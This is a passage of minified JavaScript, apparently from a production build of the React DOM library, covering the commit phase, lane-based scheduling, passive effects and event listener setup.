if(r.tag===6){if(l===null){X=r;try{X.stateNode.nodeValue=v?"":X.memoizedProps}catch(Pe){Dt(X,X.return,Pe)}}}else if(r.tag===18){if(l===null){X=r;try{var de=X.stateNode;v?xw(de,!0):xw(X.stateNode,!1)}catch(Pe){Dt(X,X.return,Pe)}}}else if((r.tag!==22&&r.tag!==23||r.memoizedState===null||r===a)&&r.child!==null){r.child.return=r,r=r.child;continue}if(r===a)break e;for(;r.sibling===null;){if(r.return===null||r.return===a)break e;l===r&&(l=null),r=r.return}l===r&&(l=null),r.sibling.return=r.return,r=r.sibling}f&4&&(f=a.updateQueue,f!==null&&(l=f.retryQueue,l!==null&&(f.retryQueue=null,Od(a,l))));break;case 19:fa(r,a),ha(a),f&4&&(f=a.updateQueue,f!==null&&(a.updateQueue=null,Od(a,f)));break;case 30:break;case 21:break;default:fa(r,a),ha(a)}}function ha(a){var r=a.flags;if(r&2){try{for(var l,f=a.return;f!==null;){if(v2(f)){l=f;break}f=f.return}if(l==null)throw Error(s(160));switch(l.tag){case 27:var v=l.stateNode,b=yp(a);Fd(a,b,v);break;case 5:var _=l.stateNode;l.flags&32&&(wo(_,""),l.flags&=-33);var L=yp(a);Fd(a,L,_);break;case 3:case 4:var X=l.stateNode.containerInfo,ie=yp(a);bp(a,ie,X);break;default:throw Error(s(161))}}catch(pe){Dt(a,a.return,pe)}a.flags&=-3}r&4096&&(a.flags&=-4097)}function A2(a){if(a.subtreeFlags&1024)for(a=a.child;a!==null;){var r=a;A2(r),r.tag===5&&r.flags&1024&&r.stateNode.reset(),a=a.sibling}}function cr(a,r){if(r.subtreeFlags&8772)for(r=r.child;r!==null;)w2(a,r.alternate,r),r=r.sibling}function Vi(a){for(a=a.child;a!==null;){var r=a;switch(r.tag){case 0:case 11:case 14:case 15:Ur(4,r,r.return),Vi(r);break;case 1:ks(r,r.return);var l=r.stateNode;typeof l.componentWillUnmount=="function"&&x2(r,r.return,l),Vi(r);break;case 27:Tc(r.stateNode);case 26:case 5:ks(r,r.return),Vi(r);break;case 22:r.memoizedState===null&&Vi(r);break;case 30:Vi(r);break;default:Vi(r)}a=a.sibling}}function ur(a,r,l){for(l=l&&(r.subtreeFlags&8772)!==0,r=r.child;r!==null;){var f=r.alternate,v=a,b=r,_=b.flags;switch(b.tag){case 0:case 11:case 15:ur(v,b,l),vc(4,b);break;case 1:if(ur(v,b,l),f=b,v=f.stateNode,typeof v.componentDidMount=="function")try{v.componentDidMount()}catch(ie){Dt(f,f.return,ie)}if(f=b,v=f.updateQueue,v!==null){var L=f.stateNode;try{var X=v.shared.hiddenCallbacks;if(X!==null)for(v.shared.hiddenCallbacks=null,v=0;v<X.length;v++)sb(X[v],L)}catch(ie){Dt(f,f.return,ie)}}l&&_&64&&p2(b),yc(b,b.return);break;case 27:y2(b);case 26:case 5:ur(v,b,l),l&&f===null&&_&4&&g2(b),yc(b,b.return);break;case 12:ur(v,b,l);break;case 31:ur(v,b,l),l&&_&4&&N2(v,b);break;case 13:ur(v,b,l),l&&_&4&&E2(v,b);break;case 22:b.memoizedState===null&&ur(v,b,l),yc(b,b.return);break;case 30:break;default:ur(v,b,l)}r=r.sibling}}function Cp(a,r){var l=null;a!==null&&a.memoizedState!==null&&a.memoizedState.cachePool!==null&&(l=a.memoizedState.cachePool.pool),a=null,r.memoizedState!==null&&r.memoizedState.cachePool!==null&&(a=r.memoizedState.cachePool.pool),a!==l&&(a!=null&&a.refCount++,l!=null&&rc(l))}function Sp(a,r){a=null,r.alternate!==null&&(a=r.alternate.memoizedState.cache),r=r.memoizedState.cache,r!==a&&(r.refCount++,a!=null&&rc(a))}function ds(a,r,l,f){if(r.subtreeFlags&10256)for(r=r.child;r!==null;)T2(a,r,l,f),r=r.sibling}function T2(a,r,l,f){var v=r.flags;switch(r.tag){case 0:case 11:case 15:ds(a,r,l,f),v&2048&&vc(9,r);break;case 1:ds(a,r,l,f);break;case 3:ds(a,r,l,f),v&2048&&(a=null,r.alternate!==null&&(a=r.alternate.memoizedState.cache),r=r.memoizedState.cache,r!==a&&(r.refCount++,a!=null&&rc(a)));break;case 12:if(v&2048){ds(a,r,l,f),a=r.stateNode;try{var b=r.memoizedProps,_=b.id,L=b.onPostCommit;typeof L=="function"&&L(_,r.alternate===null?"mount":"update",a.passiveEffectDuration,-0)}catch(X){Dt(r,r.return,X)}}else ds(a,r,l,f);break;case 31:ds(a,r,l,f);break;case 13:ds(a,r,l,f);break;case 23:break;case 22:b=r.stateNode,_=r.alternate,r.memoizedState!==null?b._visibility&2?ds(a,r,l,f):bc(a,r):b._visibility&2?ds(a,r,l,f):(b._visibility|=2,Uo(a,r,l,f,(r.subtreeFlags&10256)!==0||!1)),v&2048&&Cp(_,r);break;case 24:ds(a,r,l,f),v&2048&&Sp(r.alternate,r);break;default:ds(a,r,l,f)}}function Uo(a,r,l,f,v){for(v=v&&((r.subtreeFlags&10256)!==0||!1),r=r.child;r!==null;){var b=a,_=r,L=l,X=f,ie=_.flags;switch(_.tag){case 0:case 11:case 15:Uo(b,_,L,X,v),vc(8,_);break;case 23:break;case 22:var pe=_.stateNode;_.memoizedState!==null?pe._visibility&2?Uo(b,_,L,X,v):bc(b,_):(pe._visibility|=2,Uo(b,_,L,X,v)),v&&ie&2048&&Cp(_.alternate,_);break;case 24:Uo(b,_,L,X,v),v&&ie&2048&&Sp(_.alternate,_);break;default:Uo(b,_,L,X,v)}r=r.sibling}}function bc(a,r){if(r.subtreeFlags&10256)for(r=r.child;r!==null;){var l=a,f=r,v=f.flags;switch(f.tag){case 22:bc(l,f),v&2048&&Cp(f.alternate,f);break;case 24:bc(l,f),v&2048&&Sp(f.alternate,f);break;default:bc(l,f)}r=r.sibling}}var wc=8192;function Io(a,r,l){if(a.subtreeFlags&wc)for(a=a.child;a!==null;)D2(a,r,l),a=a.sibling}function D2(a,r,l){switch(a.tag){case 26:Io(a,r,l),a.flags&wc&&a.memoizedState!==null&&pD(l,us,a.memoizedState,a.memoizedProps);break;case 5:Io(a,r,l);break;case 3:case 4:var f=us;us=Wd(a.stateNode.containerInfo),Io(a,r,l),us=f;break;case 22:a.memoizedState===null&&(f=a.alternate,f!==null&&f.memoizedState!==null?(f=wc,wc=16777216,Io(a,r,l),wc=f):Io(a,r,l));break;default:Io(a,r,l)}}function R2(a){var r=a.alternate;if(r!==null&&(a=r.child,a!==null)){r.child=null;do r=a.sibling,a.sibling=null,a=r;while(a!==null)}}function Cc(a){var r=a.deletions;if((a.flags&16)!==0){if(r!==null)for(var l=0;l<r.length;l++){var f=r[l];Fn=f,k2(f,a)}R2(a)}if(a.subtreeFlags&10256)for(a=a.child;a!==null;)_2(a),a=a.sibling}function _2(a){switch(a.tag){case 0:case 11:case 15:Cc(a),a.flags&2048&&Ur(9,a,a.return);break;case 3:Cc(a);break;case 12:Cc(a);break;case 22:var r=a.stateNode;a.memoizedState!==null&&r._visibility&2&&(a.return===null||a.return.tag!==13)?(r._visibility&=-3,Ld(a)):Cc(a);break;default:Cc(a)}}function Ld(a){var r=a.deletions;if((a.flags&16)!==0){if(r!==null)for(var l=0;l<r.length;l++){var f=r[l];Fn=f,k2(f,a)}R2(a)}for(a=a.child;a!==null;){switch(r=a,r.tag){case 0:case 11:case 15:Ur(8,r,r.return),Ld(r);break;case 22:l=r.stateNode,l._visibility&2&&(l._visibility&=-3,Ld(r));break;default:Ld(r)}a=a.sibling}}function k2(a,r){for(;Fn!==null;){var l=Fn;switch(l.tag){case 0:case 11:case 15:Ur(8,l,r);break;case 23:case 22:if(l.memoizedState!==null&&l.memoizedState.cachePool!==null){var f=l.memoizedState.cachePool.pool;f!=null&&f.refCount++}break;case 24:rc(l.memoizedState.cache)}if(f=l.child,f!==null)f.return=l,Fn=f;else e:for(l=a;Fn!==null;){f=Fn;var v=f.sibling,b=f.return;if(C2(f),f===l){Fn=null;break e}if(v!==null){v.return=b,Fn=v;break e}Fn=b}}}var R6={getCacheForType:function(a){var r=Un(bn),l=r.data.get(a);return l===void 0&&(l=a(),r.data.set(a,l)),l},cacheSignal:function(){return Un(bn).controller.signal}},_6=typeof WeakMap=="function"?WeakMap:Map,At=0,Ft=null,ht=null,xt=0,Tt=0,Da=null,Ir=!1,Ho=!1,Np=!1,dr=0,on=0,Hr=0,Ui=0,Ep=0,Ra=0,qo=0,Sc=null,ma=null,jp=!1,Pd=0,B2=0,zd=1/0,Vd=null,qr=null,Dn=0,$r=null,$o=null,fr=0,Ap=0,Tp=null,M2=null,Nc=0,Dp=null;function _a(){return(At&2)!==0&&xt!==0?xt&-xt:M.T!==null?Fp():Ue()}function F2(){if(Ra===0)if((xt&536870912)===0||vt){var a=js;js<<=1,(js&3932160)===0&&(js=262144),Ra=a}else Ra=536870912;return a=Aa.current,a!==null&&(a.flags|=32),Ra}function pa(a,r,l){(a===Ft&&(Tt===2||Tt===9)||a.cancelPendingCommit!==null)&&(Go(a,0),Gr(a,xt,Ra,!1)),K(a,l),((At&2)===0||a!==Ft)&&(a===Ft&&((At&2)===0&&(Ui|=l),on===4&&Gr(a,xt,Ra,!1)),Bs(a))}function O2(a,r,l){if((At&6)!==0)throw Error(s(327));var f=!l&&(r&127)===0&&(r&a.expiredLanes)===0||Et(a,r),v=f?M6(a,r):_p(a,r,!0),b=f;do{if(v===0){Ho&&!f&&Gr(a,r,0,!1);break}else{if(l=a.current.alternate,b&&!k6(l)){v=_p(a,r,!1),b=!1;continue}if(v===2){if(b=r,a.errorRecoveryDisabledLanes&b)var _=0;else _=a.pendingLanes&-536870913,_=_!==0?_:_&536870912?536870912:0;if(_!==0){r=_;e:{var L=a;v=Sc;var X=L.current.memoizedState.isDehydrated;if(X&&(Go(L,_).flags|=256),_=_p(L,_,!1),_!==2){if(Np&&!X){L.errorRecoveryDisabledLanes|=b,Ui|=b,v=4;break e}b=ma,ma=v,b!==null&&(ma===null?ma=b:ma.push.apply(ma,b))}v=_}if(b=!1,v!==2)continue}}if(v===1){Go(a,0),Gr(a,r,0,!0);break}e:{switch(f=a,b=v,b){case 0:case 1:throw Error(s(345));case 4:if((r&4194048)!==r)break;case 6:Gr(f,r,Ra,!Ir);break e;case 2:ma=null;break;case 3:case 5:break;default:throw Error(s(329))}if((r&62914560)===r&&(v=Pd+300-be(),10<v)){if(Gr(f,r,Ra,!Ir),Ye(f,0,!0)!==0)break e;fr=r,f.timeoutHandle=hw(L2.bind(null,f,l,ma,Vd,jp,r,Ra,Ui,qo,Ir,b,"Throttled",-0,0),v);break e}L2(f,l,ma,Vd,jp,r,Ra,Ui,qo,Ir,b,null,-0,0)}}break}while(!0);Bs(a)}function L2(a,r,l,f,v,b,_,L,X,ie,pe,ve,oe,de){if(a.timeoutHandle=-1,ve=r.subtreeFlags,ve&8192||(ve&16785408)===16785408){ve={stylesheets:null,count:0,imgCount:0,imgBytes:0,suspenseyImages:[],waitingForImages:!0,waitingForViewTransition:!1,unsuspend:Qs},D2(r,b,ve);var Pe=(b&62914560)===b?Pd-be():(b&4194048)===b?B2-be():0;if(Pe=xD(ve,Pe),Pe!==null){fr=b,a.cancelPendingCommit=Pe($2.bind(null,a,r,b,l,f,v,_,L,X,pe,ve,null,oe,de)),Gr(a,b,_,!ie);return}}$2(a,r,b,l,f,v,_,L,X)}function k6(a){for(var r=a;;){var l=r.tag;if((l===0||l===11||l===15)&&r.flags&16384&&(l=r.updateQueue,l!==null&&(l=l.stores,l!==null)))for(var f=0;f<l.length;f++){var v=l[f],b=v.getSnapshot;v=v.value;try{if(!Ea(b(),v))return!1}catch{return!1}}if(l=r.child,r.subtreeFlags&16384&&l!==null)l.return=r,r=l;else{if(r===a)break;for(;r.sibling===null;){if(r.return===null||r.return===a)return!0;r=r.return}r.sibling.return=r.return,r=r.sibling}}return!0}function Gr(a,r,l,f){r&=~Ep,r&=~Ui,a.suspendedLanes|=r,a.pingedLanes&=~r,f&&(a.warmLanes|=r),f=a.expirationTimes;for(var v=r;0<v;){var b=31-en(v),_=1<<b;f[b]=-1,v&=~_}l!==0&&le(a,l,r)}function Ud(){return(At&6)===0?(Ec(0),!1):!0}function Rp(){if(ht!==null){if(Tt===0)var a=ht.return;else a=ht,tr=ki=null,Gm(a),Oo=null,oc=0,a=ht;for(;a!==null;)m2(a.alternate,a),a=a.return;ht=null}}function Go(a,r){var l=a.timeoutHandle;l!==-1&&(a.timeoutHandle=-1,Z6(l)),l=a.cancelPendingCommit,l!==null&&(a.cancelPendingCommit=null,l()),fr=0,Rp(),Ft=a,ht=l=Js(a.current,null),xt=r,Tt=0,Da=null,Ir=!1,Ho=Et(a,r),Np=!1,qo=Ra=Ep=Ui=Hr=on=0,ma=Sc=null,jp=!1,(r&8)!==0&&(r|=r&32);var f=a.entangledLanes;if(f!==0)for(a=a.entanglements,f&=r;0<f;){var v=31-en(f),b=1<<v;r|=a[v],f&=~b}return dr=r,ld(),l}function P2(a,r){st=null,M.H=pc,r===Fo||r===xd?(r=eb(),Tt=3):r===Mm?(r=eb(),Tt=4):Tt=r===lp?8:r!==null&&typeof r=="object"&&typeof r.then=="function"?6:1,Da=r,ht===null&&(on=1,Rd(a,Ga(r,a.current)))}function z2(){var a=Aa.current;return a===null?!0:(xt&4194048)===xt?Wa===null:(xt&62914560)===xt||(xt&536870912)!==0?a===Wa:!1}function V2(){var a=M.H;return M.H=pc,a===null?pc:a}function U2(){var a=M.A;return M.A=R6,a}function Id(){on=4,Ir||(xt&4194048)!==xt&&Aa.current!==null||(Ho=!0),(Hr&134217727)===0&&(Ui&134217727)===0||Ft===null||Gr(Ft,xt,Ra,!1)}function _p(a,r,l){var f=At;At|=2;var v=V2(),b=U2();(Ft!==a||xt!==r)&&(Vd=null,Go(a,r)),r=!1;var _=on;e:do try{if(Tt!==0&&ht!==null){var L=ht,X=Da;switch(Tt){case 8:Rp(),_=6;break e;case 3:case 2:case 9:case 6:Aa.current===null&&(r=!0);var ie=Tt;if(Tt=0,Da=null,Yo(a,L,X,ie),l&&Ho){_=0;break e}break;default:ie=Tt,Tt=0,Da=null,Yo(a,L,X,ie)}}B6(),_=on;break}catch(pe){P2(a,pe)}while(!0);return r&&a.shellSuspendCounter++,tr=ki=null,At=f,M.H=v,M.A=b,ht===null&&(Ft=null,xt=0,ld()),_}function B6(){for(;ht!==null;)I2(ht)}function M6(a,r){var l=At;At|=2;var f=V2(),v=U2();Ft!==a||xt!==r?(Vd=null,zd=be()+500,Go(a,r)):Ho=Et(a,r);e:do try{if(Tt!==0&&ht!==null){r=ht;var b=Da;t:switch(Tt){case 1:Tt=0,Da=null,Yo(a,r,b,1);break;case 2:case 9:if(Z1(b)){Tt=0,Da=null,H2(r);break}r=function(){Tt!==2&&Tt!==9||Ft!==a||(Tt=7),Bs(a)},b.then(r,r);break e;case 3:Tt=7;break e;case 4:Tt=5;break e;case 7:Z1(b)?(Tt=0,Da=null,H2(r)):(Tt=0,Da=null,Yo(a,r,b,7));break;case 5:var _=null;switch(ht.tag){case 26:_=ht.memoizedState;case 5:case 27:var L=ht;if(_?Tw(_):L.stateNode.complete){Tt=0,Da=null;var X=L.sibling;if(X!==null)ht=X;else{var ie=L.return;ie!==null?(ht=ie,Hd(ie)):ht=null}break t}}Tt=0,Da=null,Yo(a,r,b,5);break;case 6:Tt=0,Da=null,Yo(a,r,b,6);break;case 8:Rp(),on=6;break e;default:throw Error(s(462))}}F6();break}catch(pe){P2(a,pe)}while(!0);return tr=ki=null,M.H=f,M.A=v,At=l,ht!==null?0:(Ft=null,xt=0,ld(),on)}function F6(){for(;ht!==null&&!ne();)I2(ht)}function I2(a){var r=f2(a.alternate,a,dr);a.memoizedProps=a.pendingProps,r===null?Hd(a):ht=r}function H2(a){var r=a,l=r.alternate;switch(r.tag){case 15:case 0:r=i2(l,r,r.pendingProps,r.type,void 0,xt);break;case 11:r=i2(l,r,r.pendingProps,r.type.render,r.ref,xt);break;case 5:Gm(r);default:m2(l,r),r=ht=U1(r,dr),r=f2(l,r,dr)}a.memoizedProps=a.pendingProps,r===null?Hd(a):ht=r}function Yo(a,r,l,f){tr=ki=null,Gm(r),Oo=null,oc=0;var v=r.return;try{if(S6(a,v,r,l,xt)){on=1,Rd(a,Ga(l,a.current)),ht=null;return}}catch(b){if(v!==null)throw ht=v,b;on=1,Rd(a,Ga(l,a.current)),ht=null;return}r.flags&32768?(vt||f===1?a=!0:Ho||(xt&536870912)!==0?a=!1:(Ir=a=!0,(f===2||f===9||f===3||f===6)&&(f=Aa.current,f!==null&&f.tag===13&&(f.flags|=16384))),q2(r,a)):Hd(r)}function Hd(a){var r=a;do{if((r.flags&32768)!==0){q2(r,Ir);return}a=r.return;var l=j6(r.alternate,r,dr);if(l!==null){ht=l;return}if(r=r.sibling,r!==null){ht=r;return}ht=r=a}while(r!==null);on===0&&(on=5)}function q2(a,r){do{var l=A6(a.alternate,a);if(l!==null){l.flags&=32767,ht=l;return}if(l=a.return,l!==null&&(l.flags|=32768,l.subtreeFlags=0,l.deletions=null),!r&&(a=a.sibling,a!==null)){ht=a;return}ht=a=l}while(a!==null);on=6,ht=null}function $2(a,r,l,f,v,b,_,L,X){a.cancelPendingCommit=null;do qd();while(Dn!==0);if((At&6)!==0)throw Error(s(327));if(r!==null){if(r===a.current)throw Error(s(177));if(b=r.lanes|r.childLanes,b|=ym,ee(a,l,b,_,L,X),a===Ft&&(ht=Ft=null,xt=0),$o=r,$r=a,fr=l,Ap=b,Tp=v,M2=f,(r.subtreeFlags&10256)!==0||(r.flags&10256)!==0?(a.callbackNode=null,a.callbackPriority=0,z6(ct,function(){return W2(),null})):(a.callbackNode=null,a.callbackPriority=0),f=(r.flags&13878)!==0,(r.subtreeFlags&13878)!==0||f){f=M.T,M.T=null,v=O.p,O.p=2,_=At,At|=4;try{T6(a,r,l)}finally{At=_,O.p=v,M.T=f}}Dn=1,G2(),Y2(),K2()}}function G2(){if(Dn===1){Dn=0;var a=$r,r=$o,l=(r.flags&13878)!==0;if((r.subtreeFlags&13878)!==0||l){l=M.T,M.T=null;var f=O.p;O.p=2;var v=At;At|=4;try{j2(r,a);var b=Hp,_=k1(a.containerInfo),L=b.focusedElem,X=b.selectionRange;if(_!==L&&L&&L.ownerDocument&&_1(L.ownerDocument.documentElement,L)){if(X!==null&&mm(L)){var ie=X.start,pe=X.end;if(pe===void 0&&(pe=ie),"selectionStart"in L)L.selectionStart=ie,L.selectionEnd=Math.min(pe,L.value.length);else{var ve=L.ownerDocument||document,oe=ve&&ve.defaultView||window;if(oe.getSelection){var de=oe.getSelection(),Pe=L.textContent.length,Ke=Math.min(X.start,Pe),Bt=X.end===void 0?Ke:Math.min(X.end,Pe);!de.extend&&Ke>Bt&&(_=Bt,Bt=Ke,Ke=_);var te=R1(L,Ke),Q=R1(L,Bt);if(te&&Q&&(de.rangeCount!==1||de.anchorNode!==te.node||de.anchorOffset!==te.offset||de.focusNode!==Q.node||de.focusOffset!==Q.offset)){var re=ve.createRange();re.setStart(te.node,te.offset),de.removeAllRanges(),Ke>Bt?(de.addRange(re),de.extend(Q.node,Q.offset)):(re.setEnd(Q.node,Q.offset),de.addRange(re))}}}}for(ve=[],de=L;de=de.parentNode;)de.nodeType===1&&ve.push({element:de,left:de.scrollLeft,top:de.scrollTop});for(typeof L.focus=="function"&&L.focus(),L=0;L<ve.length;L++){var ge=ve[L];ge.element.scrollLeft=ge.left,ge.element.scrollTop=ge.top}}nf=!!Ip,Hp=Ip=null}finally{At=v,O.p=f,M.T=l}}a.current=r,Dn=2}}function Y2(){if(Dn===2){Dn=0;var a=$r,r=$o,l=(r.flags&8772)!==0;if((r.subtreeFlags&8772)!==0||l){l=M.T,M.T=null;var f=O.p;O.p=2;var v=At;At|=4;try{w2(a,r.alternate,r)}finally{At=v,O.p=f,M.T=l}}Dn=3}}function K2(){if(Dn===4||Dn===3){Dn=0,Ne();var a=$r,r=$o,l=fr,f=M2;(r.subtreeFlags&10256)!==0||(r.flags&10256)!==0?Dn=5:(Dn=0,$o=$r=null,X2(a,a.pendingLanes));var v=a.pendingLanes;if(v===0&&(qr=null),Fe(l),r=r.stateNode,Ut&&typeof Ut.onCommitFiberRoot=="function")try{Ut.onCommitFiberRoot(Yn,r,void 0,(r.current.flags&128)===128)}catch{}if(f!==null){r=M.T,v=O.p,O.p=2,M.T=null;try{for(var b=a.onRecoverableError,_=0;_<f.length;_++){var L=f[_];b(L.value,{componentStack:L.stack})}}finally{M.T=r,O.p=v}}(fr&3)!==0&&qd(),Bs(a),v=a.pendingLanes,(l&261930)!==0&&(v&42)!==0?a===Dp?Nc++:(Nc=0,Dp=a):Nc=0,Ec(0)}}function X2(a,r){(a.pooledCacheLanes&=r)===0&&(r=a.pooledCache,r!=null&&(a.pooledCache=null,rc(r)))}function qd(){return G2(),Y2(),K2(),W2()}function W2(){if(Dn!==5)return!1;var a=$r,r=Ap;Ap=0;var l=Fe(fr),f=M.T,v=O.p;try{O.p=32>l?32:l,M.T=null,l=Tp,Tp=null;var b=$r,_=fr;if(Dn=0,$o=$r=null,fr=0,(At&6)!==0)throw Error(s(331));var L=At;if(At|=4,_2(b.current),T2(b,b.current,_,l),At=L,Ec(0,!1),Ut&&typeof Ut.onPostCommitFiberRoot=="function")try{Ut.onPostCommitFiberRoot(Yn,b)}catch{}return!0}finally{O.p=v,M.T=f,X2(a,r)}}function Q2(a,r,l){r=Ga(l,r),r=op(a.stateNode,r,2),a=Pr(a,r,2),a!==null&&(K(a,2),Bs(a))}function Dt(a,r,l){if(a.tag===3)Q2(a,a,l);else for(;r!==null;){if(r.tag===3){Q2(r,a,l);break}else if(r.tag===1){var f=r.stateNode;if(typeof r.type.getDerivedStateFromError=="function"||typeof f.componentDidCatch=="function"&&(qr===null||!qr.has(f))){a=Ga(l,a),l=Zb(2),f=Pr(r,l,2),f!==null&&(Jb(l,f,r,a),K(f,2),Bs(f));break}}r=r.return}}function kp(a,r,l){var f=a.pingCache;if(f===null){f=a.pingCache=new _6;var v=new Set;f.set(r,v)}else v=f.get(r),v===void 0&&(v=new Set,f.set(r,v));v.has(l)||(Np=!0,v.add(l),a=O6.bind(null,a,r,l),r.then(a,a))}function O6(a,r,l){var f=a.pingCache;f!==null&&f.delete(r),a.pingedLanes|=a.suspendedLanes&l,a.warmLanes&=~l,Ft===a&&(xt&l)===l&&(on===4||on===3&&(xt&62914560)===xt&&300>be()-Pd?(At&2)===0&&Go(a,0):Ep|=l,qo===xt&&(qo=0)),Bs(a)}function Z2(a,r){r===0&&(r=vn()),a=Di(a,r),a!==null&&(K(a,r),Bs(a))}function L6(a){var r=a.memoizedState,l=0;r!==null&&(l=r.retryLane),Z2(a,l)}function P6(a,r){var l=0;switch(a.tag){case 31:case 13:var f=a.stateNode,v=a.memoizedState;v!==null&&(l=v.retryLane);break;case 19:f=a.stateNode;break;case 22:f=a.stateNode._retryCache;break;default:throw Error(s(314))}f!==null&&f.delete(r),Z2(a,l)}function z6(a,r){return G(a,r)}var $d=null,Ko=null,Bp=!1,Gd=!1,Mp=!1,Yr=0;function Bs(a){a!==Ko&&a.next===null&&(Ko===null?$d=Ko=a:Ko=Ko.next=a),Gd=!0,Bp||(Bp=!0,U6())}function Ec(a,r){if(!Mp&&Gd){Mp=!0;do for(var l=!1,f=$d;f!==null;){if(a!==0){var v=f.pendingLanes;if(v===0)var b=0;else{var _=f.suspendedLanes,L=f.pingedLanes;b=(1<<31-en(42|a)+1)-1,b&=v&~(_&~L),b=b&201326741?b&201326741|1:b?b|2:0}b!==0&&(l=!0,nw(f,b))}else b=xt,b=Ye(f,f===Ft?b:0,f.cancelPendingCommit!==null||f.timeoutHandle!==-1),(b&3)===0||Et(f,b)||(l=!0,nw(f,b));f=f.next}while(l);Mp=!1}}function V6(){J2()}function J2(){Gd=Bp=!1;var a=0;Yr!==0&&Q6()&&(a=Yr);for(var r=be(),l=null,f=$d;f!==null;){var v=f.next,b=ew(f,r);b===0?(f.next=null,l===null?$d=v:l.next=v,v===null&&(Ko=l)):(l=f,(a!==0||(b&3)!==0)&&(Gd=!0)),f=v}Dn!==0&&Dn!==5||Ec(a),Yr!==0&&(Yr=0)}function ew(a,r){for(var l=a.suspendedLanes,f=a.pingedLanes,v=a.expirationTimes,b=a.pendingLanes&-62914561;0<b;){var _=31-en(b),L=1<<_,X=v[_];X===-1?((L&l)===0||(L&f)!==0)&&(v[_]=Pt(L,r)):X<=r&&(a.expiredLanes|=L),b&=~L}if(r=Ft,l=xt,l=Ye(a,a===r?l:0,a.cancelPendingCommit!==null||a.timeoutHandle!==-1),f=a.callbackNode,l===0||a===r&&(Tt===2||Tt===9)||a.cancelPendingCommit!==null)return f!==null&&f!==null&&J(f),a.callbackNode=null,a.callbackPriority=0;if((l&3)===0||Et(a,l)){if(r=l&-l,r===a.callbackPriority)return r;switch(f!==null&&J(f),Fe(l)){case 2:case 8:l=We;break;case 32:l=ct;break;case 268435456:l=un;break;default:l=ct}return f=tw.bind(null,a),l=G(l,f),a.callbackPriority=r,a.callbackNode=l,r}return f!==null&&f!==null&&J(f),a.callbackPriority=2,a.callbackNode=null,2}function tw(a,r){if(Dn!==0&&Dn!==5)return a.callbackNode=null,a.callbackPriority=0,null;var l=a.callbackNode;if(qd()&&a.callbackNode!==l)return null;var f=xt;return f=Ye(a,a===Ft?f:0,a.cancelPendingCommit!==null||a.timeoutHandle!==-1),f===0?null:(O2(a,f,r),ew(a,be()),a.callbackNode!=null&&a.callbackNode===l?tw.bind(null,a):null)}function nw(a,r){if(qd())return null;O2(a,r,!0)}function U6(){J6(function(){(At&6)!==0?G(Te,V6):J2()})}function Fp(){if(Yr===0){var a=Bo;a===0&&(a=Sa,Sa<<=1,(Sa&261888)===0&&(Sa=256)),Yr=a}return Yr}function aw(a){return a==null||typeof a=="symbol"||typeof a=="boolean"?null:typeof a=="function"?a:ed(""+a)}function sw(a,r){var l=r.ownerDocument.createElement("input");return l.name=r.name,l.value=r.value,a.id&&l.setAttribute("form",a.id),r.parentNode.insertBefore(l,r),a=new FormData(a),l.parentNode.removeChild(l),a}function I6(a,r,l,f,v){if(r==="submit"&&l&&l.stateNode===v){var b=aw((v[Be]||null).action),_=f.submitter;_&&(r=(r=_[Be]||null)?aw(r.formAction):_.getAttribute("formAction"),r!==null&&(b=r,_=null));var L=new sd("action","action",null,f,v);a.push({event:L,listeners:[{instance:null,listener:function(){if(f.defaultPrevented){if(Yr!==0){var X=_?sw(v,_):new FormData(v);tp(l,{pending:!0,data:X,method:v.method,action:b},null,X)}}else typeof b=="function"&&(L.preventDefault(),X=_?sw(v,_):new FormData(v),tp(l,{pending:!0,data:X,method:v.method,action:b},b,X))},currentTarget:v}]})}}for(var Op=0;Op<vm.length;Op++){var Lp=vm[Op],H6=Lp.toLowerCase(),q6=Lp[0].toUpperCase()+Lp.slice(1);cs(H6,"on"+q6)}cs(F1,"onAnimationEnd"),cs(O1,"onAnimationIteration"),cs(L1,"onAnimationStart"),cs("dblclick","onDoubleClick"),cs("focusin","onFocus"),cs("focusout","onBlur"),cs(i6,"onTransitionRun"),cs(o6,"onTransitionStart"),cs(l6,"onTransitionCancel"),cs(P1,"onTransitionEnd"),lt("onMouseEnter",["mouseout","mouseover"]),lt("onMouseLeave",["mouseout","mouseover"]),lt("onPointerEnter",["pointerout","pointerover"]),lt("onPointerLeave",["pointerout","pointerover"]),Ia("onChange","change click focusin focusout input keydown keyup selectionchange".split(" ")),Ia("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" ")),Ia("onBeforeInput",["compositionend","keypress","textInput","paste"]),Ia("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" ")),Ia("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" ")),Ia("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var jc="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),$6=new Set("beforetoggle cancel close invalid load scroll scrollend toggle".split(" ").concat(jc));function rw(a,r){r=(r&4)!==0;for(var l=0;l<a.length;l++){var f=a[l],v=f.event;f=f.listeners;e:{var b=void 0;if(r)for(var _=f.length-1;0<=_;_--){var L=f[_],X=L.instance,ie=L.currentTarget;if(L=L.listener,X!==b&&v.isPropagationStopped())break e;b=L,v.currentTarget=ie;try{b(v)}catch(pe){od(pe)}v.currentTarget=null,b=X}else for(_=0;_<f.length;_++){if(L=f[_],X=L.instance,ie=L.currentTarget,L=L.listener,X!==b&&v.isPropagationStopped())break e;b=L,v.currentTarget=ie;try{b(v)}catch(pe){od(pe)}v.currentTarget=null,b=X}}}}function mt(a,r){var l=r[Rt];l===void 0&&(l=r[Rt]=new Set);var f=a+"__bubble";l.has(f)||(iw(r,a,2,!1),l.add(f))}function Pp(a,r,l){var f=0;r&&(f|=4),iw(l,a,f,r)}var Yd="_reactListening"+Math.random().toString(36).slice(2);function zp(a){if(!a[Yd]){a[Yd]=!0,Ts.forEach(function(l){l!=="selectionchange"&&($6.has(l)||Pp(l,!1,a),Pp(l,!0,a))});var r=a.nodeType===9?a:a.ownerDocument;r===null||r[Yd]||(r[Yd]=!0,Pp("selectionchange",!1,r))}}function iw(a,r,l,f){switch(Fw(r)){case 2:var v=yD;break;case 8:v=bD;break;default:v=ex}l=v.bind(null,r,l,a),v=void 0,!rm||r!=="touchstart"&&r!=="touchmove"&&r!=="wheel"||(v=!0),f?v!==void 0?a.addEventListener(r,l,{capture:!0,passive:v}):a.addEventListener(r,l,!0):v!==void 0?a.addEventListener(r,l,{passive:v}):a.addEventListener(r,l,!1)}function Vp(a,r,l,f,v){var 